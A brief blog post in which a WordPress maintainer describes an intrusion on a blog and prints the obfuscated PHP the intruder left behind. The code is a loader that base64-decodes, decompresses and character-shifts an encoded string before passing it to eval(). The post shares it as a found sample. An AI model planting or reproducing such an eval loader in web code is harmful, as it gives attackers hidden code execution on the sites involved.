somebody's writing me -- a wordpress intrusion :1

Somebody somehow gained write access on a Wordpress based blog I'm maintaining, so he left me a gift:

function BSSV($rOPJx)
{ 
$rOPJx=gzinflate(base64_decode($rOPJx));
 for($i=0;$i<strlen($rOPJx);$i++)
 {
$rOPJx[$i] = chr(ord($rOPJx[$i])-1);
 }
 return $rOPJx;
 }eval(BSSV("U1QEAu7CpJKS0sziMs3kpJI0c9OE1LSUgtQ0TdWEELfgcLfgGM/Q0MAEFz/XOC0tG24He25uAA==000"));
?>

Pretty nifty right ? to show gratitude I made him a little ASCII drawing :
http://pastie.org/5673811